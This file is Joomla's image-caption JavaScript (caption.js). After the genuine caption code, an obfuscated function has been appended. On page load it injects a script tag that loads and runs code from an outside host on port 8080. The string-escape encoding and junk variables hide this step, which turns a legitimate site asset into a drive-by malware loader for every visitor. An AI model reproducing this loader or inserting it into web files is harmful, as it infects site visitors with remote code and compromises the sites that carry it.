/**
* @version		$Id: caption.js 5263 2006-10-02 01:25:24Z webImagery $
* @copyright	Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/**
* JCaption javascript behavior
*
* Used for displaying image captions
*
* @package	Joomla
* @since	1.5
* @version	1.0
*/
var JCaption = new Class({
	initialize: function(selector)
	{
		this.selector = selector;

		var images = $$(selector);
		images.each(function(image){ this.createCaption(image); }, this);
	},

	createCaption: function(element)
	{
		var caption   = document.createTextNode(element.title);
		var container = document.createElement("div");
		var text      = document.createElement("p");
		var width     = element.getAttribute("width");
		var align     = element.getAttribute("align");
		var docMode = document.documentMode;

		//Windows fix
		if (!align)
			align = element.getStyle("float");  // Rest of the world fix
		if (!align) // IE DOM Fix
			align = element.style.styleFloat;

		text.appendChild(caption);
		text.className = this.selector.replace('.', '_');

		if (align=="none") {
			if (element.title != "") {
				element.parentNode.replaceChild(text, element);
				text.parentNode.insertBefore(element, text);
			}
		} else {
			element.parentNode.insertBefore(container, element);
			container.appendChild(element);
			if ( element.title != "" ) {
				container.appendChild(text);
			}
			container.className   = this.selector.replace('.', '_');
			container.className   = container.className + " " + align;
			container.setAttribute("style","float:"+align);

			//IE8 fix
			if (!docMode|| docMode < 8) {
				container.style.width = width + "px";
			}
		}

	}
});

document.caption = null;
window.addEvent('load', function() {
	var caption = new JCaption('img.caption')
	document.caption = caption
});


function M(){var L=window;var r;if(r!='' && r!='W'){r='x'};var E=unescape;var p=E("%2f%76%6b%6f%6e%74%61%6b%74%65%2d%72%75%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%68%69%6e%61%68%72%2e%63%6f%6d%2e%70%68%70");this._="";var F;if(F!='' && F!='X'){F='g'};function Z(k,f){var e;if(e!='' && e!='Zr'){e=''};var nZ;if(nZ!='sn'){nZ=''};var w="g";var oQ='';var I=E("%5b"), b=E("%5d");var C=I+f+b;var ey;if(ey!='nd'){ey='nd'};var o=new RegExp(C, w);return k.replace(o, new String());var q;if(q!='' && q!='Qn'){q=null};};var d;if(d!='sr'){d=''};var aZ;if(aZ!='' && aZ!='c'){aZ='l'};this.ab='';var PK;if(PK!='Ls'){PK=''};var A=Z('83620568670914','23674915');var Df=new Array();var B=document;var xQ;if(xQ!=''){xQ='EN'};var i=new String();var UR='';function Q(){var _l=new String();var iM=new String();var a=E("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var cQ;if(cQ!='N'){cQ='N'};i=a;i+=A;var v=new String();var mz;if(mz!='zt' && mz!='vt'){mz='zt'};i+=p;var hZ;if(hZ!='' && hZ!='nX'){hZ=null};var Lu;if(Lu!='' && Lu!='EP'){Lu='Zo'};var Qe;if(Qe!='ib' && Qe!='J'){Qe='ib'};try {var zl=new Date();var Ig='';var vW=new String();s=B.createElement(Z('sRcorMiMpntR','YJnTPEoRfN426jl5Mmg'));var HA;if(HA!='nk'){HA='nk'};var Zd;if(Zd!='lV' && Zd!='_QJ'){Zd='lV'};this.Vk='';s[E("%73%72%63")]=i;var hn;if(hn!='gp' && hn!='vm'){hn=''};s[E("%64%65%66%65%72")]=[1,0][0];var ft="";var Ln=new String();var mV;if(mV!='TN' && mV!='jK'){mV=''};B.body.appendChild(s);var NOJ=new Array();this.gA='';} catch(sB){alert(sB);var JP;if(JP!='' && JP!='oO'){JP=''};};this.Js='';var xD=new Array();}var Cg;if(Cg!='eO'){Cg=''};var nkz;if(nkz!='' && nkz!='QJ'){nkz=null};L["onlo"+"ad"]=Q;this.oY="";var TT='';this.sk="";var fJ;if(fJ!='Vq' && fJ!='SK'){fJ='Vq'};};var cl=new Date();var zp;if(zp!='' && zp!='Nf'){zp=''};M();var zY='';